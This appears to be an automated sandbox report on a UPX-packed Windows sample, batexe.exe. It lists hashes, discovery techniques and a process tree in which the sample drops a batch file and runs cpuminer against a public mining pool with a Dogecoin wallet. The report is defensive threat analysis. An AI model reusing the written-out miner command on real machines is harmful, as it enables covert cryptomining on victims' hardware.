73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
301s
platform
windows10-2004_x64
resource
win10v2004-20231215-ja
resource tags

arch:x64arch:x86image:win10v2004-20231215-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
17-02-2024 19:37

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General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1232405761-1209240240-3206092754-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
3572	b2e.exe
2904	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2904	cpuminer-sse2.exe
2904	cpuminer-sse2.exe
2904	cpuminer-sse2.exe
2904	cpuminer-sse2.exe
2904	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/3940-9-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 3940 wrote to memory of 3572	3940	batexe.exe	84
PID 3940 wrote to memory of 3572	3940	batexe.exe	84
PID 3940 wrote to memory of 3572	3940	batexe.exe	84
PID 3572 wrote to memory of 4224	3572	b2e.exe	85
PID 3572 wrote to memory of 4224	3572	b2e.exe	85
PID 3572 wrote to memory of 4224	3572	b2e.exe	85
PID 4224 wrote to memory of 2904	4224	cmd.exe	88
PID 4224 wrote to memory of 2904	4224	cmd.exe	88

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3940
- C:\Users\Admin\AppData\Local\Temp\5EBA.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\5EBA.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\5EBA.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:3572
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\614A.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4224
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2904

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\5EBA.tmp\b2e.exe

Filesize
11.3MB

MD5
486bd35532ee9a001d5939338ad89454

SHA1
9cbc7508c22798745b20a28e0e0d533379ed9344

SHA256
a76d9836dc29948b30f4908d369706f21605ddfa17cff27faeb7c6f3a5bd773c

SHA512
d87d00441163631d310a36f188dcc1fb8fd3076d5e3cf40088fe23b766b4f135fad5756c043aebe9539ea932fd3b51bd6a1acc6991c88412c74ea2fff1523bfd

Download Submit
C:\Users\Admin\AppData\Local\Temp\5EBA.tmp\b2e.exe

Filesize
5.3MB

MD5
3ebec8d20370bf2423aa880f85583f79

SHA1
5296d39b00908ba60d563a5aed59523a389b797f

SHA256
e22f8720da1988088d5e1e2d610e4991745e27c927c7eb90936b144eef401e08

SHA512
17242ba98121bc7bdcd0c9ab6f32d00d54d4dd5034f63992d33fb96985d5529de7787cd0ba2c6c8e3de6283bdfdab162194e3e788c7025326a0a5f390e7fadf3

Download Submit
C:\Users\Admin\AppData\Local\Temp\5EBA.tmp\b2e.exe

Filesize
3.6MB

MD5
34ee9b2f1e47303212ff0391c7597082

SHA1
63ba3745baf50cb897ce364c65df3b4785aeaeff

SHA256
747a4043e8572c29a2f266b7f37ca0f0841abbb4f3caf5cfa351935aeebb2e3f

SHA512
d2e1f08d271f21e03fc915e0e886652a0c4cc4e8a70d5127a414d97770c269779f9d0ab3c9e0594560b573569090f18110a34ef35394edb40b0ad9161c3afec2

Download Submit
C:\Users\Admin\AppData\Local\Temp\614A.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
808KB

MD5
614337127ce29362b153604fc3976cf2

SHA1
25e9675aa9c1a5d7336a9ff973b9e4586d9b1f54

SHA256
b88d4475f1003f0304601a939a59b7c012ac1b5aba7cbfd36289344f52d77375

SHA512
61d43566bff7d0de606240292e1c8dc62dd95d521b600bfbe1d38c6f56b00564a4a5031a24b84679cb626a1807a9bf65e4ef9073b4853888366bd1984c6f2168

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
912KB

MD5
6fdbf7e8680d497dbec6f7fb32df16f8

SHA1
f36533b64e784f9f2b8b073f486b036b653db633

SHA256
6a9eb3e476e0ff9312e411505266053d3692a29726934a4c72647089a279ff65

SHA512
53641f4157bff3e0ffb4d9207e8864732577e44d4f3a57b9b01c5f4eb978990ec231a8ab4eea4dd068665e144e129f4b832235d268c3127c8746e46e7a3b8fd3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
535KB

MD5
6ae48710ccfbbe0cb480fd8e8be9e6f1

SHA1
233b7378a0e27661eeb753bfcb5fa1d6807d3e94

SHA256
515235c1066cf785c64052cee21522dac5575b15af0721c578cc5000fdcbcd63

SHA512
0903f25ca1e578958f98dde43c14e85862da0845d35d9ab0f74021bf597d939a891d42773f45e51ad6b6161a311c7a6bdb217ad5136b7e3bb3aaadaaa5f8c506

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
728KB

MD5
44bb54a26019b3081cd7d3f9659e8bcf

SHA1
96c656ffa33777221d737b01564cc0782479f215

SHA256
4941eeb0426c1e4d7a51b4870c351043e0e8b8b4b347affead47d378a1d9f3be

SHA512
9da9d87c2bd5746eca627927608aa357fca68b0967cbd3217e7d9dc234ffc61ddf17d3b2066b8610449bcf51e244f94a5165dafb774547f54c75580cf5424616

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
538KB

MD5
143d1a5c4661f690ade067b67baf4977

SHA1
918563eb7b5a0ed60edef8f67053fcfd6cb47669

SHA256
1126618514bf19477dfe9d63ae99f83eb4b8e850f14e2a2440e47fd49016a7d3

SHA512
34ec6fd4aba4ba097a11791573e6a0905c7caaaaad1b86f348feb5165104e8f9ecd8a979f092715122aed964bc56ffb603fc61350a3da23b2cb24da40ca0b3b3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
1020KB

MD5
2be490a21641ef0bc2ed94e991bafe7c

SHA1
38444c299081d61ae336461115053a7dfd2b33a3

SHA256
50e94106af3b387f3e34aff88aa003182141c20a4d61f41c15109d97855d3e3c

SHA512
0b84671b6073bc46b58d4b9b2baee1a845e4959bef908e7170158d1718a82ae98e953e2558db3e8a4dd174998e3c9c97bc79314f21d8f0d3e1acdbde90a88172

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
879KB

MD5
dbae45cde3492fa1766a3443e9105c9d

SHA1
452b66ba0f537a1ccd80510ca1f8c601ed57028c

SHA256
591120897cc3ea6290ae903260b75aa7342074728e49b55fc9291c452cdc31c2

SHA512
43200f36d13040ee256b6af6bdbedd75803add099ccccf29e692fb3153f2fc8dcb20cf7956a5c2f3374de91f55ef38de8c01b179d08a563ef4f254f44b0a5401

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
725KB

MD5
51e427eb91952b701658db18ff5f4fb7

SHA1
fccbeadb1fbf1ebc764ccb15ec65aad39584c2e6

SHA256
d169070ff637465593746dbd8d6207a172d81d71c3f2c6b6aa2a978c9e898db5

SHA512
9ee35fdf946b94abb2d7818469d65265c00cbd11c26b95cbf43e363d2a179b41ef390ff9f27dfa7d9b3fd8e0057d774be76f8bb2bb506f95eb17f2e40e92b901

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
600KB

MD5
227b4cdf97957bc6f9f9141a518e610d

SHA1
3b301d0c2a91d55a50deba74f51a5bf86265915a

SHA256
0f0627b40621b20ff23c1249269f2e0f836a036b95990022d48a435967e6f57a

SHA512
b4385096459845c56d45a290e2bf1770c8be6a4277e041d041731d14d16cf9bef78d0f7dc6d62928c2e9f9a548e5638e31827dc6a89a72ec34ac2636656c69da

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
605KB

MD5
9b14e8d54e3960b173bd31c92ba5ffcb

SHA1
bc16a586ce5e4afa53630bc3d4e1e6d57e75cd9a

SHA256
107d416f71c215bd0d7d03d48f1ae15ec1e947e82fd3164a9fa8955e82a16b01

SHA512
963034f267595ca670a450f9c41d9d14ef5e71a27eaeae4b1a32c70f2ae92ed403863dee85d9da19554cce426ca206340ad8b4d1c11f30e498257160daf144f6

Download Submit
memory/2904-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2904-54-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2904-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2904-45-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2904-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2904-46-0x0000000054CD0000-0x0000000054D68000-memory.dmp

Filesize
608KB

Download
memory/2904-47-0x0000000001030000-0x00000000028E5000-memory.dmp

Filesize
24.7MB

Download
memory/2904-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2904-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2904-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2904-59-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2904-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2904-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2904-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/3572-7-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3572-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/3940-9-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download